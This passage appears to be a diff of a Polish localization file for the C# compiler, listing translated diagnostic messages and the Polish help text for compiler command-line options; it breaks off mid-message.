XML + Możliwe zwrócenie odwołania o wartości null. + To ostrzeżenie występuje w przypadku utworzenia klasy przy użyciu metody, której sygnatura to publiczny wirtualny element void Finalize. + +Jeśli taka klasa zostanie użyta jako klasa bazowa i klasa pochodna definiuje destruktor, ten destruktor przesłoni metodę Finalize klasy bazowej, a nie element Finalize. + Nieprawidłowy specyfikator rangi: oczekiwano „]” + inicjator stackalloc + Nie używaj atrybutu „System.Runtime.CompilerServices.FixedBuffer”. Zamiast niego użyj modyfikatora pola „fixed”. + Użycie wartości null jest nieprawidłowe w tym kontekście + Zwraca to przez odwołanie składową parametru za pomocą parametru ref; ale można je bezpiecznie zwrócić tylko w instrukcji return + Składowa rekordu „{0}” musi być prywatna. + globalne przy użyciu dyrektywy + Kwalifikator aliasu przestrzeni nazw „::” jest zawsze rozpoznawany jako typ lub przestrzeń nazw, dlatego jest tutaj niedozwolony. Zamiast niego rozważ możliwość użycia kwalifikatora „.”. + Operatory konwersji, równości lub nierówności zadeklarowane w interfejsach muszą być abstrakcyjne lub wirtualne + Parametru typu „{0}” nie można użyć z operatorem „as”, ponieważ nie ma ograniczenia typu klasy ani ograniczenia „class” + Typ pliku lokalnego „{0}” musi być zadeklarowany w pliku z unikatową ścieżką. Ścieżka „{1}” jest używana w wielu plikach. + W metodzie statycznej słowo kluczowe „base” jest niedostępne. + Funkcja eksperymentalna „interceptorów” nie jest włączona w tej przestrzeni nazw. Dodaj „{0}” do swojego projektu. + Nie można zainicjować składowej „{0}”. To nie jest pole ani właściwość. + Niejednoznaczność pomiędzy „{0}” i „{1}” + Funkcja lokalna jest zadeklarowana, ale nie jest nigdy używana + Błąd składni wiersza polecenia: brak identyfikatora Guid dla opcji „{1}” + Nie można użyć elementu „{0}” jako typu {1} w metodzie z atrybutem „UnmanagedCallersOnly”. + Celem przywołanego zestawu „{0}” jest inny procesor. + Nie można przypisać elementu {0} do zmiennej o typie określonym niejawnie + Wystąpił błąd podczas zapisywania pliku wyjściowego: {0}. + „{0}”: konstruktor statyczny nie może zawierać jawnego wywołania konstruktora „this” lub „base” + zmienna środowiskowa LIB + Metoda inicjatora modułu „{0}” musi być dostępna na poziomie modułu + 'Element „{0}” nie może implementować elementu „{1}”, ponieważ „{2}” to zdarzenie środowiska wykonawczego systemu Windows, a „{3}” to zwykłe zdarzenie środowiska .NET. + 'Element „{0}” jest przestarzały + 'Element „{0}” jest typu „{1}”. W deklaracji stałej należy określić typ sbyte, byte, short, ushort, int, uint, long, ulong, char, float, double, decimal, bool, string, typ wyliczeniowy lub typ odwołania. + Określony ciąg wersji nie jest zgodny z zalecanym formatem — wersja_główna.wersja_pomocnicza.kompilacja.poprawka + Konwersja zdefiniowana przez użytkownika w interfejsie musi być skonwertowana na lub z parametru typu w przypadku typu otaczającego ograniczonego do typu otaczającego + Parametr „{0}” nie ma zgodnego tagu param w komentarzu XML elementu „{1}” (lecz inne parametry mają) + Właściwość indeksowana „{0}” ma nieopcjonalne argumenty, które muszą być określone + Aby typ „{0}” mógł zostać użyty jako element AsyncMethodBuilder dla typu „{1}”, jego właściwość zadania powinna zwracać typ „{1}” zamiast typu „{2}”. + „{0}”: pole nie może być jednocześnie nietrwałe i tylko do odczytu + Tylko rekordy mogą dziedziczyć po rekordach. + Niezakończony literał ciągu znaków. + Atrybuty w wyrażeniach lambda wymagają listy parametrów ujętych w nawiasy. + Typów statycznych nie można używać jako parametrów + Oczekiwano dyrektywy #endregion. + <missing> + Interpolowany literał nieprzetworzonego ciągu nie zaczyna się od wystarczającej liczby znaków „$”, aby zezwolić na następującą liczbę kolejnych otwierających nawiasów klamrowych jako zawartość. + Obsługa wartości null dla typów referencyjnych w typie jest niezgodna z niejawnie implementowaną składową. + Nazwa parametru „{0}” powoduje konflikt z nazwą parametru generowaną automatycznie + Parametry typu nie są dozwolone w grupie metod jako argument operatora „nameof”. + Niespójność dostępności: typ parametru „{1}” jest mniej dostępny niż obiekt delegowany „{0}” + Używanie aliasu nie może być typem „ref”. + Poprzednia klauzula catch przechwytuje już wszystkie wyjątki. Wszystkie wywołane elementy niebędące wyjątkami zostaną opakowane w elemencie System.Runtime.CompilerServices.RuntimeWrappedException. + Nie można wstawić części lub całości dołączonego kodu XML + Nie można zdefiniować oczekiwania na „{0}” + Ograniczenie „default” jest prawidłowe tylko w przypadku ograniczenia dla przesłoniętych i jawnych metod implementacji interfejsu. + parametru + Oczekiwano wartości stałej + Generator „{0}” nie mógł wygenerować źródła. W rezultacie nie będzie on współtworzyć danych wyjściowych i mogą wystąpić błędy kompilacji. Wyjątek był typu „{1}” z komunikatem „{2}”. +{3} + Parametr typu „{0}” ma tę samą nazwę co parametr typu zewnętrznego „{1}” + Nie można niejawnie przekonwertować literału typu double na typ „{1}”. W celu utworzenia literału tego typu należy użyć sufiksu „{0}”. + There is no target type for the collection expression. + Nie można deklarować zmiennej we wzorcu „not” ani „or”. + + Opcje kompilatora języka Visual C# + + - PLIKI WYJŚCIOWE - +-out:<file> Określanie nazwy pliku wyjściowego (domyślnie: nazwa podstawowa + pliku z klasą główną lub pierwszym plikiem) +-target:exe Kompiluj plik wykonywalny konsoli (domyślnie) (skrócona + postać: -t:exe) +-target:winexe Kompiluj plik wykonywalny systemu Windows (skrócona postać: + -t:winexe) +-target:library Utwórz bibliotekę (skrócona postać: -t:library) +-target:module Tworzenie modułu, który można będzie dodać do innego + zestawu (skrócona postać: -t:module) +-target:appcontainerexe Tworzenie pliku wykonywalnego Appcontainer (skrócona postać: + -t:appcontainerexe) +-target:winmdobj Tworzenie pośredniego pliku środowiska uruchomieniowego systemu Windows, który + jest używany przez winMDExp (skrócona postać: -t:winmdobj) +-doc:<file> Plik dokumentacji XML do wygenerowania +-refout:<file> Odwołanie do danych wyjściowych zestawu do wygenerowania +-platform:<string> Ograniczanie platformy, na których można uruchomić ten kod: x86, + Itanium, x64, arm, arm64, anycpu32bitpreferred lub + anycpu. Domyślną jest anycpu. + + - PLIKI WEJŚCIOWE - +-recurse:<wildcard> Uwzględnianie wszystkie plików w bieżącym katalogu oraz + podkatalogach zgodnie ze specyfikacjami + symbolu wieloznacznego +-reference:<alias>=<file> Odwołanie do metadanych z określonego pliku + zestawu, używając danego aliasu (skrócona postać: -r) +-reference:<file list> Odwołanie do metadanych z określonych plików + zestawu (skrócona postać: -r) +-addmodule:<file list> Łączenie określonych modułów w tym zestawie +-link:<file_list> Osadzone metadane z określonych plików zestawu + międzyoperacyjności (skrócona postać: -l) +-analyzer:<file_list> Uruchamianie analizatorów z tego zestawu + (skrócona postać: -a) +-additionalfile:<file list> Dodatkowe pliki, które nie mają bezpośredniego wpływu na generowanie + kodu, ale mogą być używane przez analizatory do generowania + błędów i ostrzeżeń. +-embed Osadzanie wszystkich plików źródłowych w pliku PDB. +-embed:<file list> Osadzanie określonych plików w pliku PDB. + + - ZASOBY - +-win32res:<file> Określanie plik zasobów Win32 (.res) +-win32icon:<file> Używanie tej ikony dla danych wyjściowych +-win32manifest:<file> Określanie plik manifestu Win32 (xml) +-nowin32manifest Nie dołączaj domyślnego manifestu Win32 +-resource:<resinfo> Osadzanie określonego zasobu (skrócona postać: -res) +-linkresource:<resinfo> Łączenie określonego zasobu z tym zestawem + (skrócona postać: -linkres) Gdzie format resinfo + jest <file>[,<name>[,public|private]] + + - GENEROWANIE KODU - +-debug[+|-] Emitowanie informacji o debugowaniu +-debug:{full|pdbonly|portable|embedded} + Określanie typu debugowania (wartość „full” jest domyślna, + „portable” jest formatem międzyplatformowym, + „embedded” jest formatem międzyplatformowym osadzonym w + docelowym pliku .dll lub .exe.) +-optimize[+|-] Włączanie optymalizacji (skrócona postać: -o) +-deterministic Generowanie zestawu deterministycznego + (w tym identyfikatora GUID i sygnatury czasowej wersji modułu) +-refonly Tworzenie zestawu odwołania zamiast wyjścia głównego +-instrument:TestCoverage Generowanie zestawu instrumentowanego do zbierania + informacji o pokryciach +-sourcelink:<file> Informacje o linku źródłowym do osadzenia w pliku PDB. + + - BŁĘDY I OSTRZEŻENIA - +-warnaserror[+|-] Raportowanie wszystkich ostrzeżeń jako błędy. +-warnaserror[+|-]:<warn list> Raportowanie określonych ostrzeżeń jako błędy + (użyj wartości „nullable” dla wszystkich ostrzeżeń dotyczących dopuszczania wartości null) +-warn:<n> Ustawianie poziomu ostrzeżeń (0 lub wyższy) (skrócona postać: -w) +-nowarn:<warn list> Wyłączanie określonych komunikatów ostrzegawczych + (użyj wartości „nullable” dla wszystkich ostrzeżeń dotyczących dopuszczania wartości null) +-ruleset:<file> Określanie pliku zestawu reguł, który wyłącza określoną + diagnostykę. +-errorlog:<file>[,version=<sarif_version>] + Określanie pliku do rejestrowania całej diagnostyki kompilatora + i analizatora. + sarif_version:{1|2|2.1} Wartość domyślna to 1. 2 i 2.1 + obie oznaczające wersję SARIF 2.1.0. +-reportanalyzer Raportowanie dodatkowych informacje analizatora, takich jak + czas wykonania. +-skipanalyzers[+|-] Pomijanie wykonywanie analizatorów diagnostycznych. + + - JĘZYK - +-checked[+|-] Generowanie testów przepełnienia +-unsafe[+|-] Zezwalanie na kod „unsafe” +-define:<symbol list> Definiowanie symboli kompilacji warunkowej (skrócona + postać: -d) +-langversion:? Wyświetlanie dozwolone wartości dla wersji językowej +-langversion:<string> Określanie wersji języka, na przykład + „latest” (najnowsza wersja, w tym wersje pomocnicze), + „default” (tak samo jak „latest”), + „latestmajor” (najnowsza wersja, z wyjątkiem wersji pomocniczych), + „preview” (najnowsza wersja, w tym funkcje w nieobsługiwanym wersji zapoznawczej), + lub dokładnych wersji, takich jak „6” lub „7.1” +-nullable[+|-] Określanie włączenia|wyłączenia opcji kontekstu dopuszczania wartości null. +-nullable:{enable|disable|warnings|annotations} + Określanie opcji kontekstu dopuszczania wartości null enable|disable|warnings|annotations. + + - ZABEZPIECZENIA - +-delaysign[+|-] Podpisywanie z opóźnieniem zestawu tylko przy użyciu publicznego + fragmentu silnego klucza nazwy +-publicsign[+|-] Podpisywanie publiczne zestawu tylko przy użyciu publicznego + fragmentu silnego klucza nazwy +-keyfile:<file> Określanie pliku silnego klucza nazwy. +-keycontainer:<string> Określanie kontenera silnych kluczy nazw +-highentropyva[+|-] Włączanie funkcji ASLR o wysokiej entropii. + + - RÓŻNE - +@<file> Odczytywanie pliku odpowiedzi w celu uzyskania dodatkowych opcji +-help Wyświetlanie tego komunikatu o użyciu (skrócona postać: -?) +-nologo Wstrzymywanie komunikatu kompilatora o prawach autorskich +-noconfig Nie dołączaj automatycznie pliku CSC.RSP +-parallel[+|-] Współbieżna kompilacja. +-version Wyświetlanie numer wersji kompilatora i wyjście. + + - ZAAWANSOWANE - +-baseaddress:<address> Adres podstawowy dla bibiloteki, która ma być utworzona +-checksumalgorithm:<alg> Określanie algorytmu obliczania pliku źródłowego + pliku źródłowego przechowywanego w pliku PDB. Obsługiwane wartości to: + SHA1 lub SHA256 (wartość domyślna). +-codepage:<n> Określanie strony kodowej do używania podczas otwierania plików + źródłowych +-utf8output Komunikaty kompilatora danych wyjściowych w kodowaniu UTF-8 +-main:<type> Określanie typu zawierającego punktu wejścia + (ignoruj wszystkie inne możliwe punkty wejścia) (skrócona + postać: -m) +-fullpaths Kompilator generuje w pełni kwalifikowane ścieżki +-filealign:<n> Określanie wyrównania używanego dla sekcji + pliku wyjściowego +-pathmap:<K1>=<V1>,<K2>=<V2>,... + Określanie mapowania dla danych wyjściowych nazw ścieżek źródłowych przez + kompilatora. +-pdb:<file> Określanie nazwy pliku z informacjami o debugowaniu (domyślnie: + nazwa pliku wyjściowego z rozszerzeniem .pdb) +-errorendlocation wiersz i kolumna danych wyjściowych lokalizacji końcowej + każdego błędu +-preferreduilang Określanie preferowanej nazwy języka danych wyjściowych. +-nosdkpath Wyłączanie wyszukiwania domyślnej ścieżki zestawu SDK dla zestawów bibliotek standardowych. +-nostdlib[+|-] Nie odwołuj do biblioteki standardowej (mscorlib.dll) +-subsystemversion:<version> Określanie wersji podsystemu zestawu +-lib:<file list> Określanie dodatkowych katalogów do wyszukania + odwołań +-errorreport:<string> Określanie sposobu obsługi wewnętrznych błędów kompilatora: + monit, wysyłanie, kolejka lub brak. Wartością domyślną jest + kolejka. +-appconfig:<file> Określanie pliku konfiguracji aplikacji + zawierającego ustawienia powiązania zestawu +-moduleassemblyname:<string> Nazwa zestawu, którego częścią będzie + ten moduł +-modulename:<string> Określanie nazwy modułu źródłowego +-generatedfilesout:<dir> Umieszczanie plików wygenerowane podczas kompilacji w + określonym katalogu. +-reportivts[+|-] Informacje dotyczące danych wyjściowych o wszystkich plikach IVT przyznanych temu + zestawowi przez wszystkie zależności i adnotowanie błędów + dotyczących dostępności zestawu, z którego one pochodzą. + + Błąd składni; oczekiwano wartości + 'Elementu „{0}” nie można zapieczętować, ponieważ nie jest przesłonięciem + #błąd: „{0}” + Zmienna zakresu „{0}” jest już zadeklarowana + W atrybucie AssemblySignatureKeyAttribute określono nieprawidłowy klucz publiczny sygnatury. + Nazwa elementu krotki „{0}” została zignorowana, ponieważ typ elementu docelowego „{1}” określa inną nazwę lub nie określa żadnej nazwy. + To ostrzeżenie występuje, gdy w przypadku próby wywołania metody, właściwości lub indeksatora w składowej klasy pochodnej elementu MarshalByRefObject składowa jest typem wartości. Obiekty dziedziczące po elemencie MarshalByRefObject zwykle powinny być kierowane przez referencję w domenie aplikacji. Jeśli kod spróbuje bezpośrednio uzyskać dostęp do składowej typu wartości takiego obiektu w domenie aplikacji, wystąpi wyjątek czasu wykonywania. Aby rozwiązać problem podany w ostrzeżeniu, skopiuj składową do zmiennej lokalnej i wywołaj metodę w tej zmiennej. + Nie można przechwycić wywołania z „{0}”, ponieważ nie jest ono dostępne w obrębie „{1}”. + Istnieją dwa indeksatory o różnych nazwach. Dla każdego indeksatora w określonym typie należy użyć atrybutu IndexerName o takiej samej nazwie. + Modyfikator rodzaju odwołania parametru nie jest zgodny z odpowiadającym mu parametrem w lokalizacji docelowej. + Operator „await” wymaga, aby zwracany typ „{0}” metody „{1}.GetAwaiter()” miał odpowiednie składowe „IsCompleted”, „OnCompleted” i „GetResult” oraz implementował interfejs „INotifyCompletion” lub „ICriticalNotifyCompletion” + 'Element „{0}” to niejednoznaczne odwołanie między elementem „{1}” i „{2}” + Konstruktor zadeklarowany w „strukturze rekordów” z listą parametrów musi mieć inicjator „this”, który wywołuje konstruktor podstawowy lub jawnie zadeklarowany konstruktor. + Opcja przesłania atrybut podany w pliku źródłowym lub dodanym module + Typy i aliasy nie mogą mieć nazwy „required”. + „{0}”: modyfikatora „readonly” można użyć dla metod dostępu tylko wtedy, gdy właściwość lub indeksator mają metody dostępu get i set + Cykliczna zależność typu bazowego obejmująca element „{0}” i „{1}” + Oczekiwano identyfikatora lub literału liczbowego + Nie można niejawnie przekonwertować typu „{0}” na „{1}”. + Wyłuskanie odwołania, które może mieć wartość null. + Nie można dołączyć fragmentu XML + Spowoduje to zwrócenie wartości lokalnej przez odwołanie, ale nie jest odwołaniem lokalnym + „{0}”: zdarzenie wystąpienia w interfejsie nie może mieć inicjatora + Element „{0}” nie jest prawidłowym specyfikatorem konwencji wywoływania dla atrybutu „UnmanagedCallersOnly”. + Konstruktor „{0}” nie może wywołać sam siebie + W ciągu interpolowanym nie można użyć jednowierszowego komentarza. + Nie można zwrócić elementu przez referencję, ponieważ został on zainicjowany przy użyciu wartości, której nie można zwrócić przez referencję + Lokalna zmienna lub funkcja o nazwie „{0}” została już zdefiniowana w tym zakresie + Nie można przechwycić: kompilacja nie zawiera pliku ze ścieżką „{0}”. Czy chodziło o użycie ścieżki „{1}”? + Te dwa zestawy różnią się numerem wydania i/lub wersji. Aby można było wykonać ujednolicenie, musisz określić dyrektywy w pliku config aplikacji i podać poprawną silną nazwę zestawu. + Nie można zmodyfikować zwracanej wartości „{0}”, ponieważ nie jest to zmienna. + „{0}”: typ podstawowy „{1}” nie jest zgodny ze specyfikacją CLS + Wymagana składowa „{0}” musi mieć przypisaną wartość, nie może używać zagnieżdżonej składowej ani inicjatora kolekcji. + Instrukcje najwyższego poziomu muszą poprzedzać deklaracje przestrzeni nazw i typów. + Deklaracje metody częściowej „{0}” i „{1}” mają różnice w sygnaturach. + Plik źródłowy nie może zawierać deklaracji przestrzeni nazw z określonym zakresem plików ani deklaracji zwykłych przestrzeni nazw. + Nie można przypisać wartości do elementu „{0}” ponieważ jest on tylko do odczytu + przy użyciu aliasu typu + Parametr {0} jest deklarowany jako typ „{1}{2}”, a powinien być „{3}{4}” + Błąd podczas odczytu pliku „{0}” określonego przez argument nazwany „{1}” atrybutu PermissionSet: „{2}” + Drzewo wyrażeń nie może zawierać wyrażenia switch. + Klauzula ograniczenia została już określona dla parametru typu „{0}”. Wszystkie ograniczenia dla parametru typu muszą być określone w jednej klauzuli where. + Modyfikator „statyczny” musi poprzedzać modyfikator „niebezpieczny”. + przy użyciu typów anonimowych + Nie można zdefiniować oczekiwania na „void” + Nie można zwrócić zmiennej lokalnej „{0}” przez referencję, ponieważ to nie jest zmienna lokalna ref + Wywołanie konstruktora musi być przydzielane dynamicznie, ale jest to niemożliwe, ponieważ jest częścią inicjatora konstruktora. Rozważ możliwość rzutowania argumentów dynamicznych. + Nie można wywnioskować typu zmiennej wyjściowej z niejawnym typem „{0}”. + Nie można osadzić typów międzyoperacyjnych z zestawu „{0}”, ponieważ brakuje atrybutu „{1}”. + Dyrektywa zakresu #line wymaga spacji przed pierwszym nawiasem, przed przesunięciem znaku i przed nazwą pliku + inicjator obiektu + Zmienne o typie określonym niejawnie nie mogą mieć wiele deklaratorów + Nie można zwrócić elementu {0} „{1}” przez zapisywalne odwołanie, ponieważ jest to zmienna tylko do odczytu + Przestrzeń nazw nie może bezpośrednio zawierać składowych takich jak pola, metody lub instrukcje + Modyfikator składowej „{0}” musi wystąpić przed definicją typu i nazwy składowej + Wyrażenie switch nie obsługuje wszystkich możliwych wartości jego typu danych wejściowych (nie jest kompletne). + Przechwytywanie wywołania do „{0}” za pomocą interceptora „{1}”, ale sygnatury nie są zgodne. + Oczekiwano znaku } + Pusty blok „switch” + Oczekiwano argumentu atrybutu nazwanego + Nie można przekonwertować ciągu wejściowego na równoważną reprezentację bajtową UTF-8. {0} + Parametr ma wiele różnych domyślnych wartości. + Argumentu typu „{0}” nie można stosować do atrybutu DefaultParameterValue + Zdefiniowana przez użytkownika konwersja musi dokonywać konwersji na typ otaczający lub z niego + Użycie prawdopodobnie nieprzypisanego pola + Składowa „{0}” typu „{1}” powoduje wystąpienie cyklu w układzie struktury + Typ ograniczenia nie jest zgodny ze specyfikacją CLS + wzorzec w nawiasie + Nie można zastosować klasy atrybutów „{0}”, ponieważ jest ona abstrakcyjna + Zwraca to składową lokalnego elementu „{0}” przez odwołanie, ale nie jest odwołaniem lokalnym + Dane wyrażenie jest zawsze zgodne z podaną stałą. + 'Element „{0}” musi zadeklarować treść, ponieważ nie jest oznaczony jako abstrakcyjny, zewnętrzny ani częściowy + Wykryto nieosiągalny kod + Element „{0}” nie może implementować składowej interfejsu „{1}” w typie „{2}”, ponieważ funkcja „{3}” nie jest dostępna w języku C# {4}. Użyj wersji języka „{5}” lub nowszej. + '{0}' pola odwołania należy przypisać przed użyciem. + Możliwe przypisanie odwołania o wartości null. + struktury rekordów + W tej metodzie asynchronicznej brakuje operatorów „await”, dlatego będzie wykonywana synchronicznie. Rozważ możliwość użycia operatora „await” w celu zdefiniowania oczekiwania na nieblokujące wywołania interfejsów API albo wyrażenia „await Task.Run(...)” w celu przeniesienia wykonywania zadań intensywnie angażujących procesor do wątku w tle. + Kontekstowego słowa kluczowego „var” nie można użyć jako jawnego zwracanego typu lambda + metody ustawiające tylko do inicjowania + Zmienna zakresu „{0}” nie może mieć takiej samej nazwy jak parametr typu metody + Typ „{0}” nie ma zdefiniowanego konstruktora. + metoda anonimowa + Oczekiwano skryptu (plik CSX), ale go nie określono + Tylko pojedyncza deklaracja typu częściowego może mieć listę parametrów + Wzorców wycinków nie można używać na potrzeby wartości typu „{0}”. + Zwraca parametr przez odwołanie, ale nie jest parametrem ref + typy dopuszczające wartość null + „{0}” wymaga funkcji kompilatora „{1}”, która nie jest obsługiwana przez tę wersję kompilatora języka C#. + Konstruktor podstawowy powoduje konflikt z konstruktorem syntetyzowanej kopii. + Opcja /noconfig zostanie zignorowana, ponieważ została określona w pliku odpowiedzi + typy referencyjne dopuszczające wartość null + Forma „var (...)” dekonstrukcji nie zezwala na specyficzny typ wartości „var”. + Nie określono numeru wiersza dla dyrektywy #line lub określony numer jest nieprawidłowy. + Nie można dołączyć nieprawidłowo sformułowanego pliku XML „{0}” + Nie można załadować zestawu analizatora {0}: {1} + Operator zdefiniowany przez użytkownika „{0}” musi być zadeklarowany ze specyfikatorami static i public + Nieprawidłowa deklaracja; zamiast niej użyj konstrukcji „{0} operator <typ_docelowy> (...” + „{0}”: typów statycznych nie można użyć jako typów w instrukcji return + 'Element „{0}” nie powinien mieć parametru params, ponieważ nie ma go element „{1}” + Nie można zwrócić elementu „{0}” przez referencję, ponieważ został on zainicjowany przy użyciu wartości, której nie można zwrócić przez referencję + Kontrolka jest zwracana do obiektu wywołującego przed jawnym przypisaniem pola, co powoduje wcześniejsze niejawne przypisanie wartości „default”. + Nie można utworzyć pliku tymczasowego — {0} + Najlepsza metoda przeładowania dla elementu „{0}” nie ma parametru o nazwie „{1}”. + Parametr typu „{0}” ma tę samą nazwę co zawierający typ lub metoda + Składowa ukrywa dziedziczoną składową; brak słowa kluczowego new + Metoda częściowa musi być zadeklarowana w typie częściowym. + Typ „{1}” w elemencie „{0}” powoduje konflikt z zaimportowaną przestrzenią nazw „{3}” w elemencie „{2}”. Zostanie użyty typ zdefiniowany w elemencie „{0}”. + Przestrzeń nazw „{1}” w elemencie „{0}” powoduje konflikt z zaimportowanym typem „{3}” w elemencie „{2}”. Zostanie użyta przestrzeń nazw zdefiniowana w elemencie „{0}”. + Niektóre argumenty najlepiej dopasowanej przeciążonej metody Add „{0}”dla inicjatora kolekcji są nieprawidłowe. + Wyrażenie typu „{0}” nigdy nie zostanie dopasowane do podanego wzorca. + Wzorce listy nie mogą być używane dla wartości typu „{0}”. Nie znaleziono odpowiedniej właściwości „Długość” ani „Liczba”. + Do utworzenia tablicy wymagane jest określenie rozmiaru tablicy lub inicjatora tablicy. + równość krotki + Parametr typu „{0}” nie ma zgodnego tagu typeparam w komentarzu XML elementu „{1}” (lecz inne parametry typu mają) + Nie można przechwycić: Ścieżka „{0}” jest niezmapowana. Oczekiwano zmapowanej ścieżki „{1}”. + W parametrze wejściowym nie może występować atrybut wyjściowy. + Przypisanie w wyrażeniu warunkowym jest zawsze stałe. Czy zamiast operatora = miał zostać użyty operator == ? + Błąd podczas odczytywania pliku manifestu Win32 „{0}” — „{1}” + Drzewo wyrażenia nie może zawierać konwersji procedury obsługi ciągu interpolowanego. + Gałęzie operatora warunkowego ref nie mogą przywoływać zmiennych z niezgodnymi zakresami deklaracji + Atrybut „{0}” z modułu „{1}” zostanie zignorowany na korzyść wystąpienia w źródle + Nie można przypisać elementu „{0}” do zmiennej zakresu + Parametr params musi być ostatnim parametrem na liście parametrów formalnych + Dopasowanie typu krotki „{0}” wymaga „{1}” wzorców podrzędnych, ale istnieje następująca liczba wzorców podrzędnych: „{2}”. + Instrukcja throw bez argumentów jest niedozwolona w klauzuli finally zagnieżdżonej w najbliższej otaczającej klauzuli catch. + Automatycznie implementowana metoda dostępu „set” „{0}” nie może być zadeklarowana jako „readonly”. + Krotka musi zawierać co najmniej dwa elementy. + Typu „{0}” nie można użyć jako argumentu typu. + Instrukcja foreach nie może operować na zmiennych typu „{0}”, ponieważ typ „{0}” nie zawiera publicznego wystąpienia lub definicji rozszerzenia dla elementu „{1}”. Czy planowano użyć instrukcji „await foreach”, a nie „foreach”? + Nazwa pliku „{0}” jest pusta, zawiera nieprawidłowe znaki, zawiera specyfikację dysku bez bezwzględnej ścieżki lub jest za długa + Ta wartość ref przypisuje „{1}” do „{0}”, ale „{1}” ma szerszy zakres ucieczki wartości niż „{0}”, umożliwiając przypisanie za pośrednictwem „{0}” wartości z węższymi zakresami ucieczki niż „{1}”. + Obsługa wartości null dla typów referencyjnych w typie parametru jest niezgodna z przesłoniętą składową. + Docelowe środowisko uruchomieniowe nie obsługuje specyfikatorów dostępu „protected”, „protected internal” i „private protected” dla składowej interfejsu. + Nie można osadzić typu międzyoperacyjnego „{0}”, ponieważ brakuje w nim wymaganego atrybutu „{1}”. + Asynchroniczne wyrażenie lambda przekonwertowana na delegata zwracającego „{0}” nie może zwracać wartości + ogólne niezarządzane ograniczenia typów + Adnotacja dla typów referencyjnych dopuszczających wartość null powinna być używana w kodzie tylko w ramach kontekstu adnotacji „#nullable”. Wygenerowany automatycznie kod wymaga jawnej dyrektywy „#nullable” w źródle. + Nazwa języka „{0}” jest nieprawidłowa. + W instrukcjach deklaracji „for”, „using”, „fixed”, „or” nie można użyć większej liczby typów niż jeden. + Nie można wykonać przypisania do zmiennej zakresu „{0}” — można ją tylko odczytać + 'Element „{0}” nie zawiera konstruktora przyjmującego następującą liczbę argumentów: {1} + Ciągi kultury zestawu nie mogą zawierać osadzonych znaków NUL. + Nieoczekiwana lista parametrów. + Inicjator modułu musi być zwykłą metodą składową + Pole stałe nie może być polem referencyjnym. + interpolowane ciągi stałych + „{0}”: nie można jednocześnie określić klasy ograniczenia i ograniczenia „unmanaged” + Nie można używać zmiennej „{0}” w tym kontekście, ponieważ może uwidaczniać odwoływane zmienne poza ich zakresem deklaracji + Użycie typu dopuszczającego wartość null „{0}?” jest niedozwolone we wzorcu. Użyj zamiast tego bazowego typu „{0}”. + Dostęp do statycznej składowej interfejsu abstrakcyjnego można uzyskać tylko w przypadku parametru typu. + Obie częściowe deklaracje metody muszą używać parametru params lub żadna nie może go używać + W jawnej deklaracji interfejsu nie znaleziono elementu „{0}” wśród składowych interfejsu, które można implementować + Typ „{1}” w elemencie „{0}” powoduje konflikt z zaimportowanym typem „{3}” w elemencie „{2}”. Zostanie użyty typ zdefiniowany w elemencie „{0}”. + Jawne stosowanie elementu „System.Runtime.CompilerServices.NullableAttribute” jest niedozwolone. + W tablicy nie mogą występować elementy typu „{0}” + Nie można używać modyfikatorów w deklaracjach metod dostępu do zdarzeń. + Element „{0}” nie implementuje składowej interfejsu „{1}”. Element „{2}” nie może jawnie implementować niedostępnej składowej. + Przed interfejsami musi występować klasa bazowa „{0}” + Wyrażenie warunkowe nie jest prawidłowe w wersji językowej {0} ponieważ nie znaleziono typu wspólnego między "{1}" i "{2}". Aby użyć konwersji z typem docelowym, uaktualnij do wersji językowej {3} lub nowszej. + Określono opcje powodujące konflikt: plik zasobów Win32; manifest Win32 + Iteratory nie mogą mieć parametrów typu wskaźnika + Klasy CallerMemberNameAttribute nie można zastosować, ponieważ nie ma standardowych konwersji z typu „{0}” do typu „{1}” + Nie można zwrócić składowej parametru „{0}” przez referencję, ponieważ to nie jest parametr ref ani out + (Lokalizacja symbolu związanego z poprzednim błędem) + określono argument stdin „-”, ale dane wejściowe nie zostały przekierowane ze standardowego strumienia wejściowego. + Nie można użyć instrukcji yield z wartością w treści klauzuli catch. + Dopuszczanie wartości null dla typów referencyjnych w typie zwracanym nie jest zgodne z niejawnie zaimplementowaną składową (prawdopodobnie z powodu atrybutów dopuszczania wartości null). + Ponieważ jest to metoda asynchroniczna, zwracane wyrażenie musi być typu „{0}”, a nie „{1}” + Oczekiwano znaku { lub ; + W przypadku statycznej właściwości, statycznej metody lub statycznego inicjatora pola użycie słowa kluczowego „this” jest nieprawidłowe + Parametr ma modyfikator params w wyrażeniu lambda, ale nie ma w docelowym typie delegata. + Składowa interfejsu „{0}” nie ma najbardziej specyficznej implementacji. Ani implementacja „{1}”, ani „{2}” nie jest najbardziej specyficzna. + parametr opcjonalny + Określono nieprawidłową ścieżkę wyszukiwania + Nie można zwrócić elementu „this” przez referencję. + Nie można znaleźć typu międzyoperacyjnego zgodnego z osadzonym typem międzyoperacyjnym „{0}”. Czy brakuje odwołania do zestawu? + To ostrzeżenie występuje, jeśli atrybut zestawu AssemblyKeyFileAttribute lub AssemblyKeyNameAttribute w źródle powoduje konflikt z opcją wiersza polecenia /keyfile lub /keycontainer albo z nazwą pliku klucza lub kontenerem określonymi we właściwościach projektu. + To ostrzeżenie oznacza, że nie określono poprawnie atrybutu, takiego jak InternalsVisibleToAttribute. + wskaźnik + Deklaracja zmiennej dostępnej przez odwołanie musi mieć inicjator + 'Atrybutu „MethodImplOptions.Synchronized” nie można stosować do metody asynchronicznej. + Nie można zwrócić parametru przez referencję „{0}”, ponieważ to nie jest parametr referencyjny + Element „{0}” nie jest prawidłowym modyfikatorem zwracanego typu wskaźnikowego funkcji. Prawidłowe modyfikatory to „ref” i „ref readonly”. + Nie można przekazać {0} argumentu za pomocą słowa kluczowego "ref" w wersji językowej {1}. Aby przekazać argumenty "ref" do parametrów "in", uaktualnij do wersji językowej {2} lub nowszej. + Nieprawidłowa operacja tworzenia obiektu + Parametr musi mieć wartość inną niż null podczas kończenia działania, ponieważ parametr przywoływany przez element NotNullIfNotNull ma wartość inną niż null. + Elementów definiowanych w przestrzeni nazw nie można jawnie deklarować jako prywatnych, chronionych, chronionych wewnętrznych lub prywatnych chronionych + Jeden z parametrów operatora binarnego musi być typem otaczającym lub jest parametrem typu ograniczonym do niego. + Opcję /moduleassemblyname można określić tylko w przypadku kompilowania elementu docelowego typu „module”. + Dopuszczanie wartości null dla typów referencyjnych w zwracanym typie „{0}” nie jest zgodne z docelowym delegatem „{1}” (prawdopodobnie z powodu atrybutów dopuszczania wartości null). + Parametr typu „{0}” dziedziczy powodujące konflikt ograniczenia „{1}” i „{2}”. + Identyfikator zasobu „{0}” został już użyty w tym 